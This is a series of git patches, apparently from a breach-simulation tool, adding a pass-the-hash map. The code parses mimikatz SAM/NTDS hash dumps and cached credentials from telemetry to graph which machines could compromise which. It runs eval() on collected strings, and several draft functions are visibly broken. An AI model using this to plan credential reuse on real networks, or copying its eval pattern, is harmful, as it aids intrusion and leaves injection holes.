doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue + + SIDs.add(eval(group["SID"])) + + if len(SIDs) == 1: + return SIDs.pop() + + return None + + def GetUsersByGroupSid(self, sid): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + + users = dict() + + for doc in cur: + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + if "PartComponent" not in group_user.keys(): + continue + + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + + return users + + def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) + + GUIDs = set() + + for doc in cur: + for comp in doc["data"]["Win32_ComputerSystem"]: + if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and + (comp["DomainRole"] != DsRole_RoleBackupDomainController)): + continue + + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GetLocalAdmins(self): + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + + def GetLocalAdminNames(self): + return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] + + admin_secrets = set() + + for sam_user_txt in sam_users: + sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + if sam_user["User"] not in admin_names: + continue + + admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + + return admin_secrets + + def GetCachedSecrets(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + secrets = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue + + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) + + return secrets + + def GetDomainAdminsOfMachine(self): + domain_name = self.GetDomainName() + DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + + domain_admins = set() + + for dc_monkey_guid in DCs: + domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() + + return domain_admins + + def GetAdmins(self): + return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() + + def GetAdminNames(self): + return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + + def GetCachedSids(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) + + return SIDs + + def GetCachedUsernames(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + + SIDs = set() + + for doc in cur: + for username in doc["data"]["credentials"]: + SIDs.add(username) + + return SIDs + +class PassTheHashMap(object): + def __init__(self): + self.vertices = self.GetAllMachines() + self.edges = set() + + #self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + + def GetAllMachines(self): + cur = mongo.db.telemetry.find({"telem_type":"system_info_collection"}) + + GUIDs = set() + + for doc in cur: + GUIDs.add(doc["monkey_guid"]) + + return GUIDs + + def GenerateEdgesBySid(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSids() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdmins() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesBySamHash(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedSecrets() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetLocalAdminSecrets() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def GenerateEdgesByUsername(self): + for attacker in self.vertices: + cached = Machine(attacker).GetCachedUsernames() + + for victim in self.vertices: + if attacker == victim: + continue + + admins = Machine(victim).GetAdminNames() + + if len(cached & admins) > 0: + self.edges.add((attacker, victim)) + + def Print(self): + print map(lambda x: Machine(x).GetIp(), self.vertices) + print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey_island/cc/ui/src/components/Main.js index 771e2257a..48410bc94 100644 --- a/monkey_island/cc/ui/src/components/Main.js +++ b/monkey_island/cc/ui/src/components/Main.js @@ -7,6 +7,7 @@ import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; import RunMonkeyPage from 'components/pages/RunMonkeyPage'; import MapPage from 'components/pages/MapPage'; +import PassTheHashMapPage from 'components/pages/PassTheHashMapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; @@ -162,6 +163,7 @@ class AppComponent extends AuthComponent { {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} + {this.renderRoute('/pth', )} {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js new file mode 100644 index 000000000..bea2f7b63 --- /dev/null +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -0,0 +1,58 @@ +import React from 'react'; +import {Col} from 'react-bootstrap'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import AuthComponent from '../AuthComponent'; + +class PassTheHashMapPageComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = { + graph: {nodes: [], edges: []}, + selected: null, + selectedType: null, + killPressed: false, + showKillDialog: false, + telemetry: [], + telemetryLastTimestamp: null + }; + } + + componentDidMount() { + this.updateMapFromServer(); + this.interval = setInterval(this.timedEvents, 1000); + } + + componentWillUnmount() { + clearInterval(this.interval); + } + + timedEvents = () => { + this.updateMapFromServer(); + }; + + updateMapFromServer = () => { + this.authFetch('/api/pthmap') + .then(res => res.json()) + .then(res => { + this.setState({graph: res}); + this.props.onStatusChange(); + }); + }; + + render() { + return ( +
+ +

3. Pass The Hash Map

+ + +
+ +
+ +
+ ); + } +} + +export default PassTheHashMapPageComponent; From 8a3216d8125db26462d01482d03f08537e1f0407 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 4 Mar 2018 06:24:22 -0800 Subject: [PATCH 010/183] works --- .../components/pages/PassTheHashMapPage.js | 27 ++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index bea2f7b63..26ce71cc9 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -2,6 +2,27 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import AuthComponent from '../AuthComponent'; +import Graph from 'react-graph-vis'; + +const options = { + autoResize: true, + layout: { + improvedLayout: false + }, + edges: { + width: 2, + smooth: { + type: 'curvedCW' + } + }, + physics: { + barnesHut: { + gravitationalConstant: -120000, + avoidOverlap: 0.5 + }, + minVelocity: 0.75 + } +}; class PassTheHashMapPageComponent extends AuthComponent { constructor(props) { @@ -43,11 +64,11 @@ class PassTheHashMapPageComponent extends AuthComponent { return (
-

3. Pass The Hash Map

+

Pass The Hash Map

-
- +
+
From 01b071dfe1b3fee7ebd551b08a35dc0e1cd2f508 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 00:32:57 -0800 Subject: [PATCH 011/183] add labels --- monkey_island/cc/resources/pthmap.py | 97 ++++++++++++++++++++++------ 1 file changed, 77 insertions(+), 20 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index b027991ee..93ba9c410 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -16,8 +16,8 @@ class PthMap(flask_restful.Resource): return \ { - "nodes": [{"id": x} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t} for s, t in graph.edges] + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] } DsRole_RoleStandaloneWorkstation = 0 @@ -100,6 +100,9 @@ class Machine(object): return roles.pop() return None + + def IsDomainController(self): + return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) def GetSidByUsername(self, username): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) @@ -133,6 +136,22 @@ class Machine(object): if len(names) == 1: return names.pop() + if not self.IsDomainController(): + for dc in self.GetDomainControllers(): + username = dc.GetUsernameBySid(sid) + + if username != None: + return username + + return None + + def GetUsernameBySecret(self, secret): + sam = self.GetSam() + + for user, user_secret in sam.iteritems(): + if secret == user_secret: + return user + return None def GetGroupSidByGroupName(self, group_name): @@ -174,12 +193,10 @@ class Machine(object): GUIDs = set() for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and - (comp["DomainRole"] != DsRole_RoleBackupDomainController)): - continue + if not Machine(doc["monkey_guid"]).IsDomainController(): + continue - GUIDs.add(doc["monkey_guid"]) + GUIDs.add(doc["monkey_guid"]) return GUIDs @@ -189,19 +206,28 @@ class Machine(object): def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) - def GetLocalAdminSecrets(self): - admin_names = self.GetLocalAdminNames() + def GetSam(self): sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] - admin_secrets = set() + sam = {} for sam_user_txt in sam_users: sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - if sam_user["User"] not in admin_names: + sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() + + return sam + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam = self.GetSam() + + admin_secrets = set() + + for user, secret in sam.iteritems(): + if user not in admin_names: continue - admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + admin_secrets.add(secret) return admin_secrets @@ -225,15 +251,19 @@ class Machine(object): secrets.add(secret) return secrets - - def GetDomainAdminsOfMachine(self): + + def GetDomainControllers(self): domain_name = self.GetDomainName() DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + return map(Machine, DCs) + + def GetDomainAdminsOfMachine(self): + DCs = self.GetDomainControllers() domain_admins = set() - for dc_monkey_guid in DCs: - domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() + for dc in DCs: + domain_admins |= dc.GetLocalAdmins() return domain_admins @@ -270,7 +300,7 @@ class PassTheHashMap(object): self.vertices = self.GetAllMachines() self.edges = set() - #self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySid() # Useful for non-cached domain users self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username def GetAllMachines(self): @@ -282,6 +312,31 @@ class PassTheHashMap(object): GUIDs.add(doc["monkey_guid"]) return GUIDs + + def ReprSidList(self, sid_list, attacker, victim): + label = set() + + for sid in sid_list: + username = Machine(victim).GetUsernameBySid(sid) + + #if not username: + # username = Machine(attacker).GetUsernameBySid(sid) + + if username: + label.add(username) + + return ",\n".join(label) + + def ReprSecretList(self, secret_list, victim): + label = set() + + for secret in secret_list: + username = Machine(victim).GetUsernameBySecret(secret) + + if username: + label.add(username) + + return ",\n".join(label) def GenerateEdgesBySid(self): for attacker in self.vertices: @@ -294,7 +349,8 @@ class PassTheHashMap(object): admins = Machine(victim).GetAdmins() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + label = self.ReprSidList(cached & admins, attacker, victim) + self.edges.add((attacker, victim, label)) def GenerateEdgesBySamHash(self): for attacker in self.vertices: @@ -307,7 +363,8 @@ class PassTheHashMap(object): admins = Machine(victim).GetLocalAdminSecrets() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + label = self.ReprSecretList(cached & admins, victim) + self.edges.add((attacker, victim, label)) def GenerateEdgesByUsername(self): for attacker in self.vertices: From cbc6f2395d40c9d49ed2fbac0d009f503736dbd2 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 04:52:39 -0800 Subject: [PATCH 012/183] add ntds information to map --- monkey_island/cc/resources/pthmap.py | 66 ++++++++++++++++++++++------ 1 file changed, 53 insertions(+), 13 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 93ba9c410..8621c56ef 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -38,15 +38,16 @@ class Machine(object): def GetMimikatzOutput(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - output = set() + output = None for doc in cur: - output.add(doc["data"]["mimikatz"]) + if not output: + output = doc + + if doc["timestamp"] > output["timestamp"]: + output = doc - if len(output) == 1: - return output.pop() - - return None + return output["data"]["mimikatz"] def GetHostName(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -146,7 +147,7 @@ class Machine(object): return None def GetUsernameBySecret(self, secret): - sam = self.GetSam() + sam = self.GetLocalSecrets() for user, user_secret in sam.iteritems(): if secret == user_secret: @@ -207,19 +208,58 @@ class Machine(object): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) def GetSam(self): - sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] - + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + if mimikatz.count("\n42.") != 2: + return {} + + sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] + sam = {} for sam_user_txt in sam_users: - sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() return sam - + + def GetNtds(self): + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + if mimikatz.count("\n42.") != 2: + return {} + + ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] + ntds = {} + + for ntds_user_txt in ntds_users: + user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() + ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() + ntlm = ntlm.replace("[hashed secret]", "").strip() + + if ntlm: + ntds[user] = ntlm + + return ntds + + def GetLocalSecrets(self): + sam = self.GetSam() + ntds = self.GetNtds() + + secrets = sam.copy() + secrets.update(ntds) + + return secrets + def GetLocalAdminSecrets(self): admin_names = self.GetLocalAdminNames() - sam = self.GetSam() + sam = self.GetLocalSecrets() admin_secrets = set() @@ -228,7 +268,7 @@ class Machine(object): continue admin_secrets.add(secret) - + return admin_secrets def GetCachedSecrets(self): From 22b0aeb6ccee230fc2e6eede2445283dd167c88f Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 05:37:50 -0800 Subject: [PATCH 013/183] better handle multiple runs of monkey & add a few more queries --- monkey_island/cc/resources/pthmap.py | 212 ++++++++++++++------------- 1 file changed, 107 insertions(+), 105 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 8621c56ef..80233f9cb 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -34,71 +34,49 @@ def myntlm(x): class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) + + self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", 1)]).limit(1) + + if self.latest_system_info.count() > 0: + self.latest_system_info = self.latest_system_info[0] def GetMimikatzOutput(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - output = None + if not doc: + return None - for doc in cur: - if not output: - output = doc - - if doc["timestamp"] > output["timestamp"]: - output = doc - - return output["data"]["mimikatz"] + return doc["data"]["mimikatz"] def GetHostName(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - - names = set() + doc = self.latest_system_info - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - names.add(eval(comp["Name"])) - - if len(names) == 1: - return names.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return eval(comp["Name"]) return None def GetIp(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - names = set() - - for doc in cur: - for addr in doc["data"]["network_info"]["networks"]: - return str(addr["addr"]) + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) return None def GetDomainName(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - names = set() - - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - names.add(eval(comp["Domain"])) - - if len(names) == 1: - return names.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return eval(comp["Domain"]) return None def GetDomainRole(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - roles = set() - - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - roles.add(comp["DomainRole"]) - - if len(roles) == 1: - return roles.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return comp["DomainRole"] return None @@ -106,36 +84,24 @@ class Machine(object): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) def GetSidByUsername(self, username): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) - - SIDs = set() + doc = self.latest_system_info - for doc in cur: - for user in doc["data"]["Win32_UserAccount"]: - if eval(user["Name"]) != username: - continue + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue - SIDs.add(eval(user["SID"])) - - if len(SIDs) == 1: - return SIDs.pop() + return eval(user["SID"]) return None def GetUsernameBySid(self, sid): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) - - names = set() + doc = self.latest_system_info - for doc in cur: - for user in doc["data"]["Win32_UserAccount"]: - if eval(user["SID"]) != sid: - continue + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue - names.add(eval(user["Name"])) - - if len(names) == 1: - return names.pop() + return eval(user["Name"]) if not self.IsDomainController(): for dc in self.GetDomainControllers(): @@ -155,36 +121,34 @@ class Machine(object): return None + def GetSidBySecret(self, secret): + username = self.GetUsernameBySecret(secret) + return self.GetSidByUsername(username) + def GetGroupSidByGroupName(self, group_name): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) - SIDs = set() + doc = self.latest_system_info - for doc in cur: - for group in doc["data"]["Win32_Group"]: - if eval(group["Name"]) != group_name: - continue + for group in doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue - SIDs.add(eval(group["SID"])) - - if len(SIDs) == 1: - return SIDs.pop() + return eval(group["SID"]) return None def GetUsersByGroupSid(self, sid): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + doc = self.latest_system_info users = dict() - for doc in cur: - for group_user in doc["data"]["Win32_GroupUser"]: - if eval(group_user["GroupComponent"]["SID"]) != sid: - continue - - if "PartComponent" not in group_user.keys(): - continue + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + if "PartComponent" not in group_user.keys(): + continue - users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users @@ -272,23 +236,22 @@ class Machine(object): return admin_secrets def GetCachedSecrets(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info secrets = set() - for doc in cur: - for username in doc["data"]["credentials"]: - user = doc["data"]["credentials"][username] - - if "password" in user.keys(): - ntlm = myntlm(str(user["password"])) - elif "ntlm_hash" in user.keys(): - ntlm = str(user["ntlm_hash"]) - else: - continue + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue - secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - secrets.add(secret) + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) return secrets @@ -314,24 +277,22 @@ class Machine(object): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) def GetCachedSids(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info SIDs = set() - for doc in cur: - for username in doc["data"]["credentials"]: - SIDs.add(self.GetSidByUsername(username)) + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) return SIDs def GetCachedUsernames(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info SIDs = set() - for doc in cur: - for username in doc["data"]["credentials"]: - SIDs.add(username) + for username in doc["data"]["credentials"]: + SIDs.add(username) return SIDs @@ -422,3 +383,44 @@ class PassTheHashMap(object): def Print(self): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + + def GetAllSidsStat(self): + SIDs = {} + + for m in self.vertices: + for sid in m.GetLocalAdmins(): + if sid not in SIDs.keys(): + SIDs[sid] = 0 + + SIDs[sid] += 1 + + return SIDs + + def GetAllSecretStat(self): + secrets = {} + + for m in self.vertices: + for secret in m.GetLocalAdminSecrets(): + if secret not in secrets.keys(): + secrets[secret] = 0 + + secrets[secret] += 1 + + return secrets + + def SidToUsername(self, sid): + for m in self.vertices: + username = m.GetUsernameBySid(sid) + + if username: + return username + + return None + + def SecretToSids(self, secret): + SIDs = set() + + for m in self.vertices: + SIDs.add(m.GetSidBySecret(secret)) + + return SIDs \ No newline at end of file From 492bea27a5765984d7784ed4ac05a771c5f85f58 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 07:31:35 -0800 Subject: [PATCH 014/183] add more queries --- monkey_island/cc/resources/pthmap.py | 95 ++++++++++++++++++++++++---- 1 file changed, 82 insertions(+), 13 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 80233f9cb..f1f1825c3 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -289,12 +289,12 @@ class Machine(object): def GetCachedUsernames(self): doc = self.latest_system_info - SIDs = set() + names = set() for username in doc["data"]["credentials"]: - SIDs.add(username) + names.add(username) - return SIDs + return names class PassTheHashMap(object): def __init__(self): @@ -384,31 +384,49 @@ class PassTheHashMap(object): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) - def GetAllSidsStat(self): + def GetSecretBySid(self, sid): + for m in self.vertices: + for user, user_secret in m.GetLocalSecrets(): + if m.GetSidByUsername(user) == sid: + return user_secret + + return None + + def GetAllSids(self): SIDs = {} for m in self.vertices: for sid in m.GetLocalAdmins(): if sid not in SIDs.keys(): - SIDs[sid] = 0 + SIDs[sid] = {} + SIDs[sid]["admin_count"] = 0 + SIDs[sid]["cache_count"] = self.GetSecretCacheCount(self.GetSecretBySid(sid)) - SIDs[sid] += 1 + SIDs[sid]["admin_count"] += 1 return SIDs + + def GetSecretCacheCount(self, secret): + count = 0 + + for m in self.vertices: + if secret in m.GetCachedSecrets(): + count += 1 + + return count - def GetAllSecretStat(self): + def GetAllSecrets(self): secrets = {} for m in self.vertices: for secret in m.GetLocalAdminSecrets(): if secret not in secrets.keys(): - secrets[secret] = 0 - - secrets[secret] += 1 + secrets[secret] = {} + secrets[secret]["cache_count"] = GetSecretCacheCount(secret) return secrets - def SidToUsername(self, sid): + def GetUsernameBySid(self, sid): for m in self.vertices: username = m.GetUsernameBySid(sid) @@ -417,10 +435,61 @@ class PassTheHashMap(object): return None - def SecretToSids(self, secret): + def GetSidsBySecret(self, secret): SIDs = set() for m in self.vertices: SIDs.add(m.GetSidBySecret(secret)) - return SIDs \ No newline at end of file + return SIDs + + def GetAllDomainControllers(self): + DCs = set() + + for m in self.vertices: + if m.IsDomainController(): + DCs.add(m) + + def GetSidsByUsername(self, username): + doc = self.latest_system_info + + SIDs = set() + + for m in self.vertices: + sid = m.GetSidByUsername(username) + if sid: + SIDs.add(sid) + + return SIDs + + def GetVictimsBySid(self, sid): + machines = set() + + for m in self.vertices: + if sid in m.GetAdmins(): + machines.add(m) + + return machines + + def GetVictimsBySecret(self, secret): + machines = set() + + SIDs = self.GetSidsBySecret(secret) + + for m in self.vertices: + if len(SIDs & m.GetAdmins()) > 0: + machines.add(m) + + return machines + + def GetAttackersBySecret(self, secret): + machines = set() + + for m in self.vertices: + if secret in m.GetCachedSecrets(): + machines.add(m) + + return machines + + def GetAttackersByVictim(self, victim): + assert False, "TODO, get information from the graph" \ No newline at end of file From 18114ea7fe661626acbbce44c16a1925ff069ff5 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 21:53:22 +0200 Subject: [PATCH 015/183] add draft for some tables --- monkey_island/cc/resources/pthmap.py | 99 +++++++++++++++++++++++----- 1 file changed, 84 insertions(+), 15 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f1f1825c3..63967d91f 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -167,6 +167,16 @@ class Machine(object): def GetLocalAdmins(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + + def GetLocalSids(self): + doc = self.latest_system_info + + SIDs = set() + + for user in doc["data"]["Win32_UserAccount"]: + SIDs.add(eval(user["SID"])) + + return SIDs def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) @@ -392,19 +402,22 @@ class PassTheHashMap(object): return None - def GetAllSids(self): - SIDs = {} + def GetAttackableMachineCountBySid(self, sid): + count = 0 for m in self.vertices: - for sid in m.GetLocalAdmins(): - if sid not in SIDs.keys(): - SIDs[sid] = {} - SIDs[sid]["admin_count"] = 0 - SIDs[sid]["cache_count"] = self.GetSecretCacheCount(self.GetSecretBySid(sid)) - - SIDs[sid]["admin_count"] += 1 + if sid in m.GetLocalAdmins(): + count += 1 + + return count + + def GetAttackableMachineCountByMachine(self, attacker): + count = 0 - return SIDs + for secret in attack.GetCachedSecrets(): + count += len(m.GetVictimsBySecret(secret)) + + return count def GetSecretCacheCount(self, secret): count = 0 @@ -415,14 +428,22 @@ class PassTheHashMap(object): return count + def GetAllSids(self): + SIDs = set() + + for m in self.vertices: + SIDs |= m.GetLocalSids() + + return SIDs + def GetAllSecrets(self): - secrets = {} + secrets = set() for m in self.vertices: for secret in m.GetLocalAdminSecrets(): - if secret not in secrets.keys(): - secrets[secret] = {} - secrets[secret]["cache_count"] = GetSecretCacheCount(secret) + secret.add(secret) + #secrets[secret]["cache_count"] = self.GetSecretCacheCount(secret) + #secrets[secret]["sid_count"] = len(self.GetSidsBySecret(secret)) return secrets @@ -492,4 +513,52 @@ class PassTheHashMap(object): return machines def GetAttackersByVictim(self, victim): - assert False, "TODO, get information from the graph" \ No newline at end of file + assert False, "TODO, get information from the graph" + +def main(): + pth = PassTheHashMap() + + print "

Pass The Hash Report

" + + print "

Duplicated Passwords

" + print "

How many users share each secret?

" + dups = dict(map(lambda x: (x, len(self.GetSidsBySecret(x))), pth.GetAllSecrets())) + + print """""" + print """SecretUser Count""" + for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{secret}{count}""".format(secret=secret, count=count) + print """""" + + print "

Cached Passwords

" + print "

On how many machines each secret is cached?

